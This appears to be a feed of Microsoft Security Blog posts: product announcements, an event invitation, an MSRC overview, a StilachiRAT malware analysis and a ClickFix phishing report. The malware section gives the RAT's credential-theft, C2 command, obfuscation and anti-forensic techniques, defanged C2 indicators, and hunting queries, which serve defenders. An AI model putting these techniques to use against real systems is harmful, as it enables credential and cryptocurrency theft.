Microsoft Threat Intelligence now processes 84 trillion signals per day, revealing the exponential growth in cyberattacks, including 7,000 password attacks per second.¹ Scaling cyber defenses through AI agents is now an imperative to keep pace with this threat landscape. We are expanding Security Copilot with six security agents built by Microsoft and five security agents built by our partners—available for preview in April 2025.

Six new agentic solutions from Microsoft Security

Building on the transformative capabilities of Security Copilot, the six Microsoft Security Copilot agents enable teams to autonomously handle high-volume security and IT tasks while seamlessly integrating with Microsoft Security solutions. Purpose-built for security, agents learn from feedback, adapt to workflows, and operate securely—aligned to Microsoft’s Zero Trust framework. With security teams fully in control, agents accelerate responses, prioritize risks, and drive efficiency to enable proactive protection and strengthen an organization’s security posture.

Security Copilot agents will be available across the Microsoft end-to-end security platform, designed for the following:

• Phishing Triage Agent in Microsoft Defender triages phishing alerts with accuracy to identify real cyberthreats and false alarms. It provides easy-to-understand explanations for its decisions and improves detection based on admin feedback.

• Alert Triage Agents in Microsoft Purview triage data loss prevention and insider risk alerts, prioritize critical incidents, and continuously improve accuracy based on admin feedback.

• Conditional Access Optimization Agent in Microsoft Entra monitors for new users or apps not covered by existing policies, identifies necessary updates to close security gaps, and recommends quick fixes for identity teams to apply with a single click.

• Vulnerability Remediation Agent in Microsoft Intune monitors and prioritizes vulnerabilities and remediation tasks to address app and policy configuration issues and expedites Windows OS patches with admin approval.

• Threat Intelligence Briefing Agent in Security Copilot automatically curates relevant and timely threat intelligence based on an organization’s unique attributes and cyberthreat exposure.

Security Copilot’s agentic capabilities are an example of how we continue to deliver innovation leveraging our decades of AI research. See how agents work.

“This is just the beginning; our security AI research is pushing the boundaries of innovation, and we are eager to continuously bring even greater value to our customers at the speed of AI.”  

—Alexander Stojanovic, Vice President of Microsoft Security AI Applied Research

Five new agentic solutions from Microsoft Security partners

Security is a team sport and Microsoft is committed to empowering our security ecosystem with an open platform upon which partners can build to deliver value to customers. In this spirit, the following five AI agents from our partners will be available in Security Copilot:

• Privacy Breach Response Agent by OneTrust analyzes data breaches to generate guidance for the privacy team on how to meet regulatory requirements.
• Network Supervisor Agent by Aviatrix performs root cause analysis and summarizes issues related to VPN, gateway, or Site2Cloud connection outages and failures.
• SecOps Tooling Agent by BlueVoyant assesses a security operations center (SOC) and state of controls to make recommendations that help optimize security operations and improve controls, efficacy, and compliance.
• Alert Triage Agent by Tanium provides analysts with the necessary context to quickly and confidently make decisions on each alert.
• Task Optimizer Agent by Fletch helps organizations forecast and prioritize the most critical cyberthreat alerts to reduce alert fatigue and improve security.

“An agentic approach to privacy will be game-changing for the industry. Autonomous AI agents will help our customers scale, augment, and increase the effectiveness of their privacy operations. Built using Microsoft Security Copilot, the OneTrust Privacy Breach Response Agent demonstrates how privacy teams can analyze and meet increasingly complex regulatory requirements in a fraction of the time required historically.”

—Blake Brannon, Chief Product and Strategy Officer, OneTrust

Learn more about Security Copilot agents and get started with Security Copilot. Current Security Copilot customers can join our Customer Connection Program for the latest updates.

New AI-powered data security investigations and analysis   

We are also announcing Microsoft Purview data security investigations to help data security teams quickly understand and mitigate risks associated with sensitive data exposure. Data security investigations introduce AI-powered deep content analysis, which identifies sensitive data and other risks linked to incidents. Incident investigators can use these insights to collaborate securely with partner teams and simplify complex and time-consuming tasks, thus improving mitigation. This solution links data security investigations to Defender incidents and Purview insider risk cases—available for preview starting April 2025.  

Further advances in securing and governing generative AI

Successful AI transformation requires a strong cybersecurity foundation. As organizations rapidly adopt generative AI, there is growing urgency to secure and govern the creation, adoption, and use of AI in the workplace. According to our new report, “Secure employee access in the age of AI,” 57% of organizations report an increase in security incidents from AI usage. And while most organizations recognize the need for AI controls, 60% have not yet started.

Securing AI is still a relatively new challenge, and leaders share some specific concerns: how to prevent data oversharing and leakage; how to minimize new AI threats and vulnerabilities; and how to comply with shifting regulatory compliance requirements. Microsoft Security solutions are purpose-built for AI to help every organization address these concerns. We’re announcing new advanced capabilities so that organizations can secure their AI investments—both Microsoft AI and other AI.

AI security posture management for multimodel and multicloud environments

Organizations developing their own custom AI solutions will need to strengthen the security posture for AI that they source from multiple models, running in multiple AI platforms and clouds. To address this need, Microsoft Defender has extended AI security posture management beyond Microsoft Azure and Amazon Web Services to include Google VertexAI and all models in the Azure AI Foundry model catalog. Available for preview in May 2025, this coverage includes Gemini, Gemma, Meta Llama, Mistral, and custom models. With new multicloud interoperability, organizations will gain broader code-to-runtime AI security posture visibility across Microsoft Azure, Amazon Web Services, and Google Cloud. Microsoft Defender can give organizations a jumpstart to securing AI posture across multimodel and multicloud environments.

New detection and protection for emerging AI threats

With AI comes new risks, including new cyberattack surfaces and unknown vulnerabilities. The Open Worldwide Application Security Project (OWASP) identifies the highest priority risks and mitigations for generative AI apps. Starting in May 2025, new and enriched AI detections for several risks identified by OWASP such as indirect prompt injection attacks, sensitive data exposure, and wallet abuse will be generally available in Microsoft Defender. With these new detections, SOC analysts can better protect and defend custom-built AI apps with new safeguards for Azure OpenAI Service and models found in the Azure AI Foundry catalog.

New controls to prevent risky access and data leaks into shadow AI apps

With the rapid user adoption of generative AI, many organizations are uncovering widespread use of AI apps that have not yet been approved by IT or security teams. This unsanctioned, unprotected use of AI has created a “shadow AI” phenomenon, which has drastically increased the risk of sensitive data leakage. We are announcing general availability of AI web category filter in Microsoft Entra internet access to help enforce granular access controls that can curb the risk of shadow AI by enforcing policies governing which users and groups have access to different types of AI applications.

With policy enforcement in place to govern authorized access to AI apps, the next layer of defense is to prevent users from leaking sensitive data into AI apps. To address this, we are announcing the preview of Microsoft Purview browser data loss prevention (DLP) controls built into Microsoft Edge for Business. This helps security teams enforce DLP policies to prevent sensitive data from being typed into generative AI apps, starting with ChatGPT, Copilot Chat, DeepSeek, and Google Gemini.

Learn more about our new innovations in Security for AI.

New phishing protection in Microsoft Teams for safer collaboration

While email continues to be the primary cyberthreat vector for phishing, collaboration software has become a common target. Generally available in April 2025, Microsoft Defender for Office 365 will protect users against phishing and other advanced cyberthreats within Teams. With inline protection, Teams will have better protection against malicious URLs, including real-time detonation of attachments and links. And to give SOC teams full visibility into related attempts and incidents, alerts and data will be available in Microsoft Defender. 

Agile innovation to build a safer world

We continue to innovate across the Microsoft Security portfolio, applying the principles of our Secure Future Initiative, to deliver powerful, end-to-end protection to give defenders industry-leading AI, and to empower every organization with the tools to secure and govern AI. We are grateful for our customers and partners and together, with them, we look forward to building a more secure world for all.

Microsoft Secure

To see these innovations in action, join us on April 9, 2025 for Microsoft Secure, a digital event focused on security in the age of AI. 

Register now

Learn with Microsoft Security

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

¹Based on Microsoft internal data.

The post Microsoft unveils Microsoft Security Copilot agents and new protections for AI appeared first on Microsoft Security Blog.

That’s why we’re excited to invite you to Microsoft Secure on April 9, a one-hour online event designed specifically for professionals like you. At Microsoft Secure, discover AI innovations for the security lifecycle designed to give you smarter, faster, stronger security.  

Why should you attend? 

At Microsoft Secure, you’ll get a first look into AI-first tools coming soon to help you in your day-to-day work. Plus, we’ll share how you can maximize what you’ve got in your hands right now.   

In 60 minutes, you’ll learn how you can: 

• Harden your defenses: Learn how to secure your data used by AI, AI apps, and AI cloud workloads. Discover the latest tools and techniques to fortify your defenses against evolving threats. 

• Secure your AI investments: Use data security, protection against AI-specific cyberthreats, and compliance tools to secure your AI investments. Our experts will share best practices and strategies to safeguard your AI initiatives, ensuring they remain resilient against emerging threats. 

• Discover AI-first tools and best practices: Hear about new AI-first tools, demos, and best practices across your favorite Microsoft Security solutions. These sessions will provide you with practical insights and hands-on experiences to strengthen your security posture and leverage AI-driven solutions effectively.  

• Keep up with what’s happening in security: Get the latest reports on security trends and platform innovations directly from Microsoft Security leaders. This is your chance to gain insights that can help you stay ahead of emerging threats. 

What can you expect? 

Led by security experts, Microsoft Secure is your chance to find out how to use solutions that can help you operate efficiently, stay compliant, and be more secure. 

• Hear from organizations like yours: Explore compelling customer stories that showcase how end-to-end security can boost, not burden, your teams. These real-world examples will highlight the benefits of comprehensive security solutions and demonstrate how they can enhance productivity and efficiency without compromising on safety. 

• Engage with Microsoft Security experts: Engage with Microsoft Security experts through live Q&A sessions. This interactive format will allow you to connect directly with our experts, ask questions, and gain valuable insights tailored to your specific needs. 

[Insert image with speaker lineup] 

Check out the full agenda here. 

Microsoft Secure is more than just an event; it’s a community of like-minded professionals dedicated to moving the field of cybersecurity forward. Join us to get valuable insights, discover innovative solutions, and connect with industry leaders and peers who share your passion for security. Don’t miss this opportunity to elevate your security game and make a real impact in your organization. 

Join us on April 9, 2025? Register now and pick the broadcast that works for your time zone. 

Microsoft Secure 

Wednesday, April 9, 2025 

8:00 AM-9:00 AM Pacific Time (UTC-7) 

Thursday, April 10, 2025  

10:00 AM – 11:00 AM Central European Time (GMT+1) 

Thursday, April 10, 2025  

12:00 PM – 1:00 PM Singapore Time (GMT+8) 

The post AI innovation requires AI security: Hear what’s new at Microsoft Secure appeared first on Microsoft Security Blog.

Microsoft has not yet attributed StilachiRAT to a specific threat actor or geolocation. Based on Microsoft’s current visibility, the malware does not exhibit widespread distribution at this time. However, due to its stealth capabilities and the rapid changes within the malware ecosystem, we are sharing these findings as part of our ongoing efforts to monitor, analyze, and report on the evolving threat landscape.

Microsoft security solutions can detect activities related to attacks that use StilachiRAT. To help defenders protect their network, we are also sharing mitigation guidance to help reduce the impact of this threat, detection details, and hunting queries. Microsoft continues to monitor information on the delivery vector used in these attacks. Malware like StilachiRAT can be installed through multiple vectors; therefore, it is critical to implement security hardening measures to prevent the initial compromise. 

This blog presents our detailed findings on all the key capabilities of StilachiRAT, which include:

• System reconnaissance: Collects comprehensive system information, including operating system (OS) details, hardware identifiers, camera presence, active Remote Desktop Protocol (RDP) sessions, and running graphical user interface (GUI) applications, allowing detailed profiling of the target system.
• Digital wallet targeting: Scans for configuration data of 20 different cryptocurrency wallet extensions for the Google Chrome browser.
• Credential theft: Extracts and decrypts saved credentials from Google Chrome, gaining access to usernames and passwords stored in the browser.
• Command-and-control (C2) connectivity: Establishes communication with remote C2 servers using TCP ports 53, 443, or 16000, enabling remote command execution and potentially SOCKS like proxying.
• Command execution: Supports a variety of commands from the C2 server, including system reboots, log clearing, registry manipulation, application execution, and system suspension.
• Persistence mechanisms: Achieves persistence through the Windows service control manager (SCM) and uses watchdog threads to ensure self-reinstatement if removed.
• RDP monitoring: Monitors RDP sessions, capturing active window information and impersonating users, allowing for potential lateral movement within networks.
• Clipboard and data collection: Continuously monitors clipboard content, actively searching for sensitive data like passwords and cryptocurrency keys, while tracking active windows and applications.
• Anti-forensics and evasion: Employs anti-forensic tactics by clearing event logs, detecting analysis tools, and implementing sandbox-evading behaviors to avoid detection.

Technical analysis of key capabilities

System reconnaissance

StilachiRAT gathers extensive system information, including OS details, device identifiers, BIOS serial numbers, and camera presence. Information is collected through the Component Object Model (COM) Web-based Enterprise Management (WBEM) interfaces using WMI Query Language (WQL). Below are some of the queries it executes:

Serial number

Camera

OS / System info (server, model, manufacturer)

Additionally, the malware creates a unique identification on the infected device that is derived from the system’s serial number and attackers’ public RSA key. The information is stored in the registry under a CLSID key.

Digital wallet targeting

StilachiRAT targets a list of specific cryptocurrency wallet extensions for the Google Chrome browser. It accesses the settings in the following registry key and validates if any of the extensions are installed:

\SOFTWARE\Google\Chrome\PreferenceMACs\Default\extensions.settings

The malware targets the following cryptocurrency wallet extensions:

Credential theft

StilachiRAT extracts Google Chrome’s encryption_key from the local state file in a user’s directory. However, since the key is encrypted when Chrome is first installed, it uses Windows APIs that rely on current user’s context to decrypt the master key. This allows access to the stored credentials in the password vault. The stored credentials are extracted from the following locations:

• %LOCALAPPDATA%\Google\Chrome\User Data\Local State – stores Chrome’s configuration data, including the encrypted key.
• %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data – stores entered user credentials.

The “Login Data” stores information using an SQLite database and the malware retrieves credentials using the following query:

Command-and-control (C2)

There are two configured addresses for the C2 server – one is stored in obfuscated form and the other is an IP address converted to its binary format (instead of a regular string):

• app.95560[.]cc
• 194.195.89[.]47

The communications channel is established using TCP ports 53, 443, or 16000, selected randomly. Additionally, the malware checks for presence of tcpview.exe and will not proceed if one is present. It also delays initial connection by two hours, presumably to evade detection. Once connected, a list of active windows is sent to the server. Additional technical findings regarding C2 communications functionality are listed in the section below.

Persistence mechanisms

StilachiRAT can be launched both as a Windows service or a standalone component. In both cases, there is a mechanism in place to ensure the malware isn’t removed.

A watchdog thread monitors both the EXE and dynamic link library (DLL) files used by the malware by periodically polling for their presence. If found absent, the files can be recreated from an internal copy obtained during initialization. Lastly, the Windows service component can be recreated by modifying the relevant registry settings and restarting it through the SCM.

RDP monitoring

StilachiRAT monitors RDP sessions by capturing foreground window information and duplicating security tokens to impersonate users. This is particularly risky on RDP servers hosting administrative sessions as it could enable lateral movement within networks.

The malware obtains the current session and actively launches foreground windows as well as enumerates all other RDP sessions. For each identified session, it will access the Windows Explorer shell and duplicate its privileges or security token. The malware then gains capabilities to launch applications with these newly obtained privileges.

Data collection

StilachiRAT collects a variety of user data, including software installation records and active applications. It monitors active GUI windows, their title bar text, and file location, and sends this information to the C2 server, potentially allowing attackers to track user behavior.

Clipboard monitoring

StilachiRAT has a functionality that is responsible for monitoring clipboard data. Specifically, the malware can periodically read the clipboard, extract text based on search expressions, and then exfiltrate this data. Clipboard monitoring is continuous, with targeted searches for sensitive information such as passwords, cryptocurrency keys, and potentially personal identifiers.

The list below includes the regular search expressions used to extract certain credentials. These are associated with the Tron Cryptocurrency blockchain that is popular in Asia, especially in China.

The same search expressions are then used to iterate files in the following locations:

• %USERPROFILE%\Desktop
• %USERPROFILE%\Recent

Anti-forensic measures

StilachiRAT displays anti-forensic behavior by clearing event logs and checking certain system conditions to evade detection. This includes looping checks for analysis tools and sandbox timers that prevent its full activation in virtual environments commonly used for malware analysis.

Additionally, Windows API calls are obfuscated in multiple ways and a custom algorithm is used to encode many text strings and values. This significantly slows down analysis time since extrapolating higher level logic and code design becomes a more complex effort.

The malware employs API-level obfuscation techniques to impede manual analysis, specifically by concealing its use of Windows APIs (e.g., RegOpenKey()). Instead of referencing API names directly, it encodes them as checksums that are resolved dynamically at runtime. While this is a common technique in malware, the authors have introduced additional layers of obfuscation.

Precomputed API checksums are stored in multiple lookup tables, each masked with an XOR value. During launch, the malware selects the appropriate table based on the hashed API name, applies the correct XOR mask to decode the value, and dynamically resolves the corresponding Windows API function. The resolved function pointer is then cached, but with an additional XOR mask applied, preventing straightforward memory scans from identifying API references.

Commands launched from the C2 server

StilachiRAT can launch various commands received from the C2 server. These commands include system reboot, log clearing, credential theft, executing applications, and manipulating system windows. Additionally, it can suspend the system, modify Windows registry values, and enumerate open windows, indicating a versatile command set for both espionage and system manipulation. The C2 server’s command structure assigns specific numbers to what commands it will initiate. The following section presents details on the said commands.

07 – Dialog box

Uses the Windows API function ShowHTMLDialogEx() to display a dialog box with rendered HTML contents from a supplied URL.

08 – Log clearing

Given an event log type, the relevant Windows APIs are used to open and then clear the log entries.

09 – System reboot

Adjusts its own executing privileges to enable system shutdown and uses an undocumented Windows API to perform the action.

13 – Network sockets

Appears to contain capability to receive a network address from C2 server and establish a new outbound connection.

14 – TCP incoming

Accepts an incoming network connection on the supplied TCP port.

15 – Terminate

If there’s an open network connection, then close it and disable the Windows service controlling this process. This appears to be the self-removal (uninstall) command.

16 – Initiate application

The malware creates a console window and initiates a command to launch the program provided by the C2 operator using the WinExec() API.

19 – Enumerate Windows

Iterates all windows of the current desktop to look for a requested title bar text. This might allow the operator to access specific GUI applications and their contents, both onscreen and clipboard.

26 – Suspend

Uses the SetSuspendState() API to put the system into either a suspended (sleep) state or hibernation.

30 – Chrome credentials

Launches the earlier mentioned functionality to steal Google Chrome passwords.

Mitigations

Malware like StilachiRAT can be installed through various vectors. The following mitigations can help prevent this type of malware from infiltrating the system and reduce the attack surface:

• In some cases, RATs can masquerade as legitimate software or software updates. Always download software from the official website of the software developer or from reputable sources.
• Encourage users to use Microsoft Edge and other web browsers that support SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Turn on Safe Links and Safe Attachments for Office 365. In organizations with Microsoft Defender for Office 365, Safe Links scanning protects your organization from malicious links that are used in phishing and other attacks. Specifically, Safe Links provides URL scanning and rewriting of inbound email messages during mail flow, and time-of-click verification of URLs and links in email messages, Microsoft Teams, and supported Office 365 apps. Safe Attachments provides an additional layer of protection for email attachments that have already been scanned by anti-malware protection in Exchange Online Protection (EOP).
• Enable network protection in Microsoft Defender for Endpoint to prevent applications or users from accessing malicious domains and other malicious content on the internet. You can audit network protection in a test environment to view which apps would be blocked before enabling network protection.

General hardening guidelines:

• Ensure that tamper protection is enabled in Microsoft Dender for Endpoint.
• Run endpoint detection and response in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode.
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Turn on Potentially unwanted applications (PUA) protection in block mode in Microsoft Defender Antivirus. PUA are a category of software that can cause your machine to run slowly, display unexpected ads, or install other software that might be unexpected or unapproved.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques.
• Turn on Microsoft Defender Antivirus real-time protection.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects this threat as the following malware:

• TrojanSpy:Win64/Stilachi.A

Microsoft Defender for Endpoint

The following alerts might indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity.

• A process was injected with potentially malicious code
• Process hollowing detected
• Suspicious service launched
• Possible theft of passwords and other sensitive web browser information

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following pre-built promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

Look for suspicious outbound network connections

Monitor network traffic for malicious activity caused by remote access trojans by focusing on identifying unusual outbound connections, irregular port activity, and suspicious data exfiltration patterns that may indicate RAT presence.

Outbound ports associated with common data transfer protocols such as HTTP/HTTPS (port 80/443), SMB (port 445), and DNS (port 53) or less common ports like 16000 used for specific applications and services for network communications might indicate such activity.

let domains = dynamic(['domain1', 'domain2', 'domain3']);
DeviceNetworkEvents
| where RemotePort in (53, 443, 16000)
| where Protocol == "Tcp"
| where RemoteUrl has_any (domains)
| project Timestamp, DeviceName, RemoteIP, RemotePort, InitiatingProcessCommandLine, ActionType, DeviceId, LocalIP, RemoteUrl, InitiatingProcessFileName

Look for signs of persistence

The malware can be run both as a Windows Service or a standalone component. To identify persistence and suspicious services, monitor for the following event IDs:

• Event ID 7045 – a new service was installed on the system. Monitor for suspicious services.
• Event ID 7040 – start type of a service is changed (boot, on-request). Boot may be a vector for the RAT to persist during a system reboot. On request indicates that the process must request the SCM to start the service.
• Correlated with Event ID 4697 – a service was installed on the system (Security log)

DeviceEvents
|where ActionType == “ServiceInstalled”
| project Timestamp, DeviceId,ActionType, FileName, FolderPath, InitiatingProcessCommandLine

Look for anti-forensic behavior

To identify potential event log clearing, monitor for the following event IDs:

• Event ID 1102 (Security log)
• Event ID 104 (System log)

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain/IP/Hash indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Additionally, Sentinel users can use the following query to detect when the security event log has been cleared, a potential indicator of an attempt to erase system evidence.

SecurityEvent
  | where EventID == 1102 and EventSourceName == "Microsoft-Windows-Eventlog"
  | summarize StartTimeUtc = min(TimeGenerated), EndTimeUtc = max(TimeGenerated), EventCount = count() by Computer, Account, EventID, Activity
  | extend HostName = tostring(split(Computer, ".")[0]), DomainIndex = toint(indexof(Computer, '.'))
  | extend HostNameDomain = iff(DomainIndex != -1, substring(Computer, DomainIndex + 1), Computer)
  | extend AccountName = tostring(split(Account, @'\')[1]), AccountNTDomain = tostring(split(Account, @'\')[0])

Sentinel users can also use the following query to detect service installations or modifications in service settings, which may indicate potential persistence mechanisms used by attackers.

Event 
  // 7045: A service was installed in the system
 //  7040: A service setting has been changed
  | where Source == "Service Control Manager" 
  | where EventID in ( '7045', '7040')
  | parse EventData with * 'ServiceName">' ServiceName "<" * 'ImagePath">' ImagePath "<" *
  | parse EventData with * 'AccountName">' AccountName "<" *
  | summarize StartTime = min(TimeGenerated), EndTime = max(TimeGenerated) by EventID, Computer, ServiceName, ImagePath, AccountName

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://x.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

Microsoft is committed to delivering comprehensive customer experience through various Microsoft Offerings. Our approach goes beyond traditional support by focusing on detection, prevention, and in-depth mitigation to help customers quickly respond to security incidents and build resiliency. Want to know how to Build a More Secure Tomorrow? Check our Unified and Security eBook and visit https://aka.ms/Unified

Dmitriy Pletnev and Daria Pop
Microsoft Incident Response

The post StilachiRAT analysis: From system reconnaissance to cryptocurrency theft appeared first on Microsoft Security Blog.

MSRC also fosters the development of a stronger and more effective security researcher community through a variety of initiatives, including the Microsoft bug bounty program, the BlueHat security conference, the MSRC blog, and internal security training for engineers.

Microsoft uses a Coordinated Vulnerability Disclosure (CVD) process that recognizes security researchers while disclosing vulnerabilities in a responsible and timely manner.

Collaboration through bug bounty programs and researcher recognition

Security researchers are incentivized to find vulnerabilities and report them through a Coordinated Vulnerability Disclosure (CVD) process. Some reported vulnerabilities are eligible for rewards as part of Microsoft’s bug bounty programs. These programs are an important part of our proactive strategy of incentivizing the external security research community to partner with us and help protect our customers from security threats. Since its inception in 2013, Microsoft’s bug bounty programs have awarded more than $60 million in bounties to security researchers.

In 2024, we announced expansions to several existing bounty programs, and launched a new Defender Bounty Program and AI Bounty Program. We also expanded our bug bounty programs with Microsoft Zero Day Quest, which adds $4 million in potential bug bounty rewards for research into high-impact areas, specifically cloud and AI. Security researchers who report a vulnerability that isn’t eligible for a bug bounty can still take part in the Microsoft Researcher Recognition Program and be recognized for their work on the Researcher Leaderboard.

Coordinated Vulnerability Disclosure (CVD)

Microsoft follows the CVD principle when partnering with external security researchers to respond and mitigate vulnerabilities in our products and services. This approach gives researchers recognition for their work—and provides Microsoft an opportunity to address newly reported vulnerabilities before bad actors can exploit them.

To better protect our products and services, MSRC partners with Microsoft engineering teams to build proactive mitigations using the information provided by both internal and external security researchers. This can significantly reduce or eliminate classes of vulnerabilities.

Many of the cloud service vulnerabilities are fixed by Microsoft on our servers and don’t require customers to take action to stay secure, but for purposes of transparency we now disclose all critical cloud common vulnerabilities and exposures (CVEs). In cases where Microsoft customers need to act, Microsoft provides customers with clear and timely security guidance.

To help customers accelerate their security response and remediation, Microsoft recently expanded our CVD strategy to include machine-readable Common Security Advisory Framework (CSAF) files that complement our existing CVD data sharing channels. With CSAF files, Microsoft customers now have machine-readable information on known vulnerabilities. This capability is part of our comprehensive strategy for vulnerability disclosure, which includes our Security Updates API and the human-readable vulnerability disclosures provided in the MSRC Security Update Guide.

Microsoft Active Protections Program (MAPP)

The Microsoft Active Protections Program (MAPP) gives security technology providers early access to vulnerability information so that they can more rapidly provide updated protections to their customers. More than 100 MAPP partners receive security vulnerability information from the MSRC in advance of Microsoft’s monthly security update release. Partners use this information to provide protections through their security software or devices, such as antivirus software, network-based intrusion detection systems, or host-based intrusion prevention systems.

To learn about the MAPP program, including which types of organizations are eligible to join MAPP, what is required of member organizations, and MAPP program tiers, read the MAPP Frequently Asked Questions.

Release of security updates

Microsoft-managed backend services require no additional customer action to stay secure. In cases where customers must take action to stay secure, we release security updates.

After a vulnerability that requires customers to take action has been fixed in our products, MSRC provides updates. MSRC releases security updates for most Microsoft products on the second Tuesday of each month at 10:00 AM PT and recommends that IT administrators and other customers plan their deployment schedules accordingly.

Cybersecurity education through content and conferences

A key component of MSRC’s work is to provide educational content for the security community. MSRC shares important public updates on vulnerabilities and more on the MSRC blog (you can also subscribe through the MSRC RSS feed). The latest information about security-related deployments, known vulnerabilities, and advisories can be found on the Security Update Guide.

MSRC also works to build a stronger security researcher community by hosting the BlueHat security conference. BlueHat brings together leading researchers and security practitioners, providing a platform to share knowledge and best practices around security. If you missed the latest conference, you can view on-demand presentations from past conferences or listen to the BlueHat Podcast (subscribe here).

Learn more about the Microsoft Security Response Center

To learn more about MSRC, visit us at msrc.microsoft.com. There, you can find detailed information on our programs and access educational resources. You can also learn more about MSRC and Microsoft’s related security initiatives through the following resources:

• Learn about how Microsoft is taking a comprehensive approach to security with the Secure Future Initiative.
• Learn how MSRC engages with security researchers using our bug bounty programs (including Zero Day Quest), the Microsoft Researcher Recognition Program, and Researcher Leaderboard.
• Learn about the CVD principle and how MSRC is enhancing our approach to vulnerability disclosure with Common Security Advisory Framework (CSAF) files and our Security Updates API.
• Check for security updates using the MSRC Security Update Guide.
• Check out the latest updates on the MSRC blog (or subscribe through the MSRC RSS feed).
• Learn more about the BlueHat security conference, watch on-demand presentations or listen to the BlueHat Podcast.
• Report a vulnerability in Microsoft a product or service in the MSRC Researcher Portal.
• Follow us on social media (LinkedIn and X) to stay current with the latest security updates and advisories.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post How MSRC coordinates vulnerability research and disclosure while building community appeared first on Microsoft Security Blog.

This phishing attack specifically targets individuals in hospitality organizations in North America, Oceania, South and Southeast Asia, and Northern, Southern, Eastern, and Western Europe, that are most likely to work with Booking.com, sending fake emails purporting to be coming from the agency.

In the ClickFix technique, a threat actor attempts to take advantage of human problem-solving tendencies by displaying fake error messages or prompts that instruct target users to fix issues by copying, pasting, and launching commands that eventually result in the download of malware. This need for user interaction could allow an attack to slip through conventional and automated security features. In the case of this phishing campaign, the user is prompted to use a keyboard shortcut to open a Windows Run window, then paste and launch a command that the phishing page adds to the clipboard.

Microsoft tracks this campaign as Storm-1865, a cluster of activity related to phishing campaigns leading to payment data theft and fraudulent charges. Organizations can reduce the impact of phishing attacks by educating users on recognizing such scams. This blog includes additional recommendations to help users and defenders defend against these threats.

Phishing campaign using the ClickFix social engineering technique

In this campaign, Storm-1865 identifies target organizations in the hospitality sector and targets individuals at those organizations likely to work with Booking.com. Storm-1865 then sends a malicious email impersonating Booking.com to the targeted individual. The content of the email varies greatly, referencing negative guest reviews, requests from prospective guests, online promotion opportunities, account verification, and more.

The email includes a link, or a PDF attachment containing one, claiming to take recipients to Booking.com. Clicking the link leads to a webpage that displays a fake CAPTCHA overlayed on a subtly visible background designed to mimic a legitimate Booking.com page. This webpage gives the illusion that Booking.com uses additional verification checks, which might give the targeted user a false sense of security and therefore increase their chances of getting compromised.

The fake CAPTCHA is where the webpage employs the ClickFix social engineering technique to download the malicious payload. This technique instructs the user to use a keyboard shortcut to open a Windows Run window, then paste and launch a command that the webpage adds to the clipboard:

The command downloads and launches malicious code through mshta.exe:

This campaign delivers multiple families of commodity malware, including XWorm, Lumma stealer, VenomRAT, AsyncRAT, Danabot, and NetSupport RAT. Depending on the specific payload, the specific code launched through mshta.exe varies. Some samples have downloaded PowerShell, JavaScript, and portable executable (PE) content.

All these payloads include capabilities to steal financial data and credentials for fraudulent use, which is a hallmark of Storm-1865 activity. In 2023, Storm-1865 targeted hotel guests using Booking.com with similar social engineering techniques and malware. In 2024, Storm-1865 targeted buyers using e-commerce platforms with phishing messages leading to fraudulent payment webpages. The addition of ClickFix to this threat actor’s tactics, techniques, and procedures (TTPs) shows how Storm-1865 is evolving its attack chains to try to slip through conventional security measures against phishing and malware.

Attribution

The threat actor that Microsoft tracks as Storm-1865 encapsulates a cluster of activity conducting phishing campaigns, leading to payment data theft and fraudulent charges. These campaigns have been ongoing with increased volume since at least early 2023 and involve messages sent through vendor platforms, such as online travel agencies and e-commerce platforms, and email services, such as Gmail or iCloud Mail.

Recommendations

Users can follow the recommendations below to spot phishing activity. Organizations can reduce the impact of phishing attacks by educating users on recognizing these scams.

Check the sender’s email address to ensure it’s legitimate. Assess whether the sender is categorized as first-time, infrequent, or marked as “[External]” by your email provider. Hover over the address to ensure that the full address is legitimate. Keep in mind that legitimate organizations do not send unsolicited email messages or make unsolicited phone calls to request personal or financial information. Always navigate to those organizations directly to sign into your account.

Contact the service provider directly. If you receive a suspicious email or message, contact the service provider directly using official contact forms listed on the official website.

